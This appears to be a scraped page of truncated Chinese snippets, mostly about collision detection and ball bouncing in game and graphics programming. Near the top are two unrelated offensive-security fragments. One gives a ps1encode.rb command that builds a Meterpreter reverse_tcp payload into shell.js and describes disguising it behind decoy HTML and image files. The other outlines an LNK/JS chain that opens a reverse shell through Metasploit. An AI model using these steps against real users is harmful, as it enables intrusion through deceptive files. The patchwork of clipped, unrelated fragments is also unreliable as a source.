没怎么玩过图形学,最近都需要做,又要复习物理和数学了~~~ 以下是初成的作品,其实最终目的也不是这个球碰撞了,只是试试,有bug~~(就是球会偶尔粘在一起,是因为速度太快) 需要解决粘连问题,就需要加入...“下一点位置”来做提前的碰撞预判。...可以简单加入下一点标记一下,在Ball类中,加EnterFrame监听,每一帧计算下一帧的位置,然后碰撞的测试函数改为使用nextX和nextY计算,而不是x和y。...ball.y 500)) { ball.speed.y *= -1; } //检测所有MC之间是否有碰撞...,根据两球碰撞方向和自身运动方向合成新的增量值 private function collide(ball1:Ball, ball2:Ball):void { //http://tina0152
ps1encode.rb --LHOST 192.168.67.128 --LPORT 4444 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js...>> shell.js ?...4、创建隐蔽的html文件以及图片文件进行迷惑用户,在html文件中引用恶意的JS文件: ?... SimpleTest </...6、之后成功反弹shell回来 ?
0x00:简介 前两天在freebuf上看到一个利用Ink文件触发攻击链的文章,确实佩服作者的脑洞。...链接:https://www.freebuf.com/articles/system/207109.html 网络世界千奇百怪,多样式留后门,触发条件反弹shell.操作够骚才是王道。...文件来反弹shell ?...并重命名为1.js(文件名随意)。 ? 单单放一个js太单调了。实际环境下可以配合html进行调用js文件执行。 ?...我简单的写了一个html来调用js文件 当然你也可以 一个js就反弹 ? 准备好msf回弹的环境 执行exploit 坐等监听执行 三、执行效果 ?
案例功能实现目标 0、键盘事件,控制主角物体的移动,需要有一个方向变量 1、碰撞模型 2、获取到吃到的物体的颜色 3、主角的宽高大小变化由迟到的物体加上去 自定义函数 Function关键字的使用 格式...函数名称=返回值 End function Len(“aaa”)=3 调用函数或过程使用关键字call Call 函数名称 由返回值的时候,调用方式举例crash(shapeball, Shape2) 碰撞模型...false表示没碰到 dim f as Boolean ifA.left+A.width>=B.left andA.leftB.top andA.top<=B.top+B.height then‘垂直方向的碰撞 f=true endif...crash=f ‘vb6中返回值的写法 End function RGB函数 颜色函数 红绿蓝三原色 0-255之间表示一种颜色 课堂总结 1、碰撞模型的理解 2、rgb函数的运动 3、自定义函数的使用
- s1 - s2;//r1圆剩余部分面积,不含相交部分面积 double rest_s2 = PI*b.r*b.r - s1 - s2;//r1圆剩余部分面积,不含相交部分面积 } 下面考虑两球相交...从上可以知道,相交部分体积是两个球缺的和。...球冠面积S=2πrhS=2πrhS=2πrh 球缺的体积公式为V=πh2(r−h3)V=πh2(r−h3)V=πh^2(r-\frac{h}{3}) hhh球冠高 rrr球半径 两球心距离=...LLL 半径分别为r1r2r1r2r_1 r_2 |r1−r2|<L<|r1+r2||r1−r2|<L<|r1+r2||r_1- r_2|< L< |r_1+ r_2| 两球相交的截面为平面...a.r*a.r - b.r*b.r) / d + d) / 2; double l2 = d - l1; double x1 = a.r - l1, x2 = b.r - l2;//分别为两个球缺的高度
碰撞检测 目录 代码实例 与简易拖拽的差异 下载源码链接 代码实例 <div id="box" style="background: #334;width: 100px;height: 100px...Math.max(0, y), height) // 给元素及时定位 box.style.left = x + 'px' box.style.top = y + 'px' // <em>碰撞</em>检测...box2.offsetHeight) && (y <= box2Y + box2.offsetHeight) if (judge_x && judge_y) { console.log("碰撞到...// 碰撞检测 // x坐标值的范围判断,y坐标值的范围判断 var judge_x = (x >= box2X - box2.offsetWidth) && (x <= box2X + box2.offsetWidth...box2Y - box2.offsetHeight) && (y <= box2Y + box2.offsetHeight) if (judge_x && judge_y) { console.log("碰撞到
图形平面碰撞的检测方式就是判断点是否同时在两个对象中。比如这个笔记中的例子 impact demo 目前没有碰撞...)){ console.log(2) $text.addClass('red'); $text.html('碰撞进行中...console.log(3) $text.removeClass('red'); $text.html('目前没有碰撞
1.4 边界反弹 边界反弹,指的是物体触碰到边界之后就会反弹回来,就像现实世界中小球碰到墙壁反弹一样。 在物体碰到边界后,我们需要做两件事,即保持它的位置不变和改变它的速度力量。...判断两个矩形是否发生碰撞,只需要判断两个矩形左上角的坐标所处的范围,如果两个矩形左上角的坐标满足一定条件,则两个矩形就发生了碰撞。...示例:简易俄罗斯方块 //tools.js //判断两个矩形是否发生碰撞 tools.checkRect = function(rectA, rectB){ return !...如果两个圆心之间的距离大于或等于两个圆的半径之和,则两个圆没有发生碰撞;如果两个圆心之间的距离小于两个圆的半径之和,则两个圆发生了碰撞。...true : false; } 示例:两个球碰撞 //tools.js //判断两个圆形是否发生碰撞 tools.checkCircle = function(circleB, circleA){
可以选择“Is Trigger”选项来决定该碰撞器是否具有实际物理存在。如果设置为true,则该碰撞器仅用于检测碰撞事件,而不影响物理模拟。...碰撞检测: 当一个带有Rigidbody 2D的游戏对象与另一个带有碰撞器的游戏对象发生碰撞时,Unity会自动处理这些碰撞事件,并更新物体的位置和速度。...使用复合碰撞器(Composite Collider 2D) :复合碰撞器可以将多个碰撞器合并为单个碰撞器,这在大型地图等情况下尤其有效,因为它可以减少碰撞检测的计算量,从而提高性能。...这些组件可以帮助模拟复杂的物理交互,例如连接两个刚体或施加特定的力。 4、在Unity中实现复杂物理效果(如水体、火光等)时,如何有效地使用Collider 2D和Rigidbody 2D?...这意味着,如果你希望两个物体之间发生物理交互,比如碰撞或接触,你需要为它们分别添加Collider 2D组件。
什么是碰撞检测 碰撞检测是指两个物体碰撞,或者图片发生重叠之后的检测,这种检测往往在优秀中用的最多,比如飞机大战,子弹与敌机的碰撞等等,这种碰撞一旦被检测到,往往会执行一些事件,比如游戏中的敌人死亡的动态效果...,这就是碰撞检测。...下面是自己实现的两种碰撞检测: 碰撞检测_边缘检测 主要实现div块在上下左右运动中如果碰到边缘,就像相反的方向运动。 实现代码 <!...= parseInt(style.width); var h = parseInt(style.height); //检测上下左右是否碰撞..._块于块碰撞 主要实现两个div块在各自的运动中碰撞,然后发生往相反方向运动 实现代码 <!
就是类似于 PC端的滚动事件,但是在移动端是没有滚动事件的,所以就要用到 Touch事件结合 js去实现,效果如下: ? 1. 准备工作 什么是移动端的 Touch事件?...我们限定只要手指离开时,上一次的滑动距离加上本次的距离 >0的时候,就让它触发反弹,并且反弹回 0点的位置,也就是两次滑动的距离和 =0。 ?...大于 设定的 向上 反弹值时 if (centerY > maxUpBounce) { // 让两次滑动的距离 等于 设置的值 centerY = maxUpBounce; }... // 两次滑动的距离 小于 设定的 向下 反弹值时 else if (centerY < maxDownBounce) { // 让两次滑动的距离 等于 设置的值 centerY...; } // 两次滑动的距离 小于 设定的 向下 反弹值时 else if (centerY < maxDownBounce) { // 让两次滑动的距离
), self.radius)#绘制圆形的球,调用上面定义的窗口,球颜色,球的位置和半径 def ballmove(self): # 绘制球,设置反弹触发条件...= -self.move_x#横坐标减小一个单位,意思就是反弹了 if self.ball_y <= self.radius:#球纵坐标小于半径,意思就是只要没落地...self.collision_sign_x = 0 self.collision_sign_y = 0 #分三种情况,一种是直接碰到砖块反弹到球拍;一种是碰撞到砖块,又碰撞到墙;还有一种是碰到两个砖块...self.collision_sign_x = 2#这种情况,碰撞标识用2标识 else: #上面两种情况都不满足的话执行下面的语句 self.closestpoint_x...、右两侧中间的碰撞检测 if self.distanceb < self.radius and self.collision_sign_by == 3: self.move_x
body.innerHTML="球球 function change(){ const ball =
题目描述 解题思路 代码 复杂度分析 题目描述 题目链接 在代号为 C-137 的地球上,Rick 发现如果他将两个球放在他新发明的篮子里,它们之间会形成特殊形式的磁力。...Rick 有 n 个空的篮子,第 i 个篮子的位置在 positioni ,Morty 想把 m 个球放到这些篮子里,使得任意两球间 最小磁力 最大。...已知两个球如果分别位于 x 和 y ,那么它们之间的磁力为 |x - y| 。 给你一个整数数组 position 和一个整数 m ,请你返回最大化的最小磁力。...示例 1: [20210220143302] 输入:position = [1,2,3,4,7], m = 3 输出:3 解释:将 3 个球分别放入位于 1,4 和 7 的三个篮子,两球间的磁力分别为
JS 禁用移动流量球、禁用iframe嵌入 情况1: native 与h5 交互 使用WebViewJavascriptBridge,此时,在native 会在打开你的网页的时候,嵌入一个iframe...具体交互,请移步:http://blog.csdn.net/qq_16559905/article/details/50623069 情况2: h5网页在浏览器打开的时候,有个移动流量球浮在你的网页上...原因在于移动流量球,在打开你页面的同时,给你嵌入了iframe,加入了他们的代码,移动流量球会检测到你的浏览情况,有时候更恶心的是,还会给你推送广告,移动、联通、电信都会有这个东西。...如何去除这个恶心的东西: 解决方法: 1、点击流量球进行关闭。 2、很简单,投诉。 3、也就是使用 js 去实现禁止底部iframe载入网页。
在论文《Playing Pool with π》中,他想象有两个能在水平面上无摩擦地运动的理想弹性球,它们能彼此以及与左侧的墙发生完全弹性碰撞(即总动能守恒)。...如果右侧的球向左撞向左侧更轻的静止球,则左侧小球会向左运动,同时右侧大球的速度并不会变慢多少。小球会在撞上墙后反弹,然后再次撞击大球,这个过程会重复很多次。...如果两个球的质量相等,碰撞会发生 3 次:第一次右侧球会把所有运动转移给左侧球,左侧球则在撞墙后反弹,然后又通过碰撞将动量完全返还给右侧球。...举个例子,Grover 算法的两个量子操作可以分别对应于球球碰撞和球墙碰撞。质量比对应于数据库的大小。此外,最终的结果是:操作数(或碰撞数)正比于 π 以及数据库规模(质量比)的平方根。...例如,对于两个质量为 m(速度为 v_m)和 M(速度为 v_M)的弹性球,弹性碰撞会保留两者的总动能 ? 。
pygame学习精灵碰撞做一个躲避球 ✕ 碰撞球,这次真的是碰撞球了。!! ? ? 这里设置的碰撞次数是2次。 我们来学习两种检测碰撞的的方法: 精灵组与精灵组: 这里有个坑,有个坑,有个坑!...pygame.sprite.groupcollide() 找到在两组之间发生碰撞的所有精灵。...如果dokill参数为True,则将从各自的组中删除碰撞的Sprite。 碰撞参数是一个回调函数,用于计算两个精灵是否发生碰撞。它应该将两个精灵作为值并返回一个bool值,指示它们是否发生碰撞。...碰撞参数是一个回调函数,用于计算两个精灵是否发生碰撞。它应该将两个精灵作为值并返回一个bool值,指示它们是否发生碰撞。...如果未传递碰撞,则所有精灵必须具有“rect”值,该值是精灵区域的矩形,将用于计算碰撞。 同样注意需要有rect属性!! 看上面两种以为就没坑了??? 想多了!还有个坑!
给大家分享一个用原生JS实现的碰撞运动,效果如下: 实现代码如下,欢迎大家复制粘贴及吐槽。 原生JS...实现各种运动之碰撞运动 #div1 { width: 100px; height: 100px;...当元素碰到上边时 } else if (t <= 0) { iSpeedY *= -1; //碰撞可能越界...当元素碰到左边时 } else if (l <= 0) { iSpeedX *= -1; //碰撞可能越界
整个桌球游戏就两个类,一个是球,一个是辅助瞄准线。如果想把改游戏弄的更复杂,还可以再抽象一个形状类,用于检测球与边角的碰撞以及进球。...然后就是碰撞检测,这个很容易理解了,就计算小球的位置有没有超过边界,超过了就反弹。不过这种碰撞检测很不严谨,如果真要做游戏建议用更复杂一些的。还有就是根据小球的速度来让小球静止。...,如果小于两小球的半径和,则说明发生了碰撞。...因为两个球碰撞那一帧,两个球是有部分重叠的,所以得进行位置修正,不然小球会一直处于碰撞然后就黏在一起了,位置修正的原理也简单,算出两球的球心距离,通过勾股定理计算出两球的重叠区域的宽度,然后把宽度除于2...后赋给小球新的位置,新的位置就是两个球的半径刚好等于球心距。
反弹球消砖块 本博客介绍利用EasyX实现一个反弹球消砖块的小游戏。 本文源码可从github获取 1....Point speed; // 球的速度 int radius; // 球的半径 void startup() // 数据的初始化 { ball.x = Width / 2; ball.y =...控制挡板接球 第三步用A/S/W/D实现挡板的移动,判断挡板是否接中小球,接中后反弹。...如果小球与i号砖块发生碰撞,则让该砖块消失(isBrickExisted[i] = 0),不显示。...radius || ball.y >= High - radius) { speed.y = -speed.y; } // 小球和砖块碰撞,小球反弹 int brick_left, brick_right
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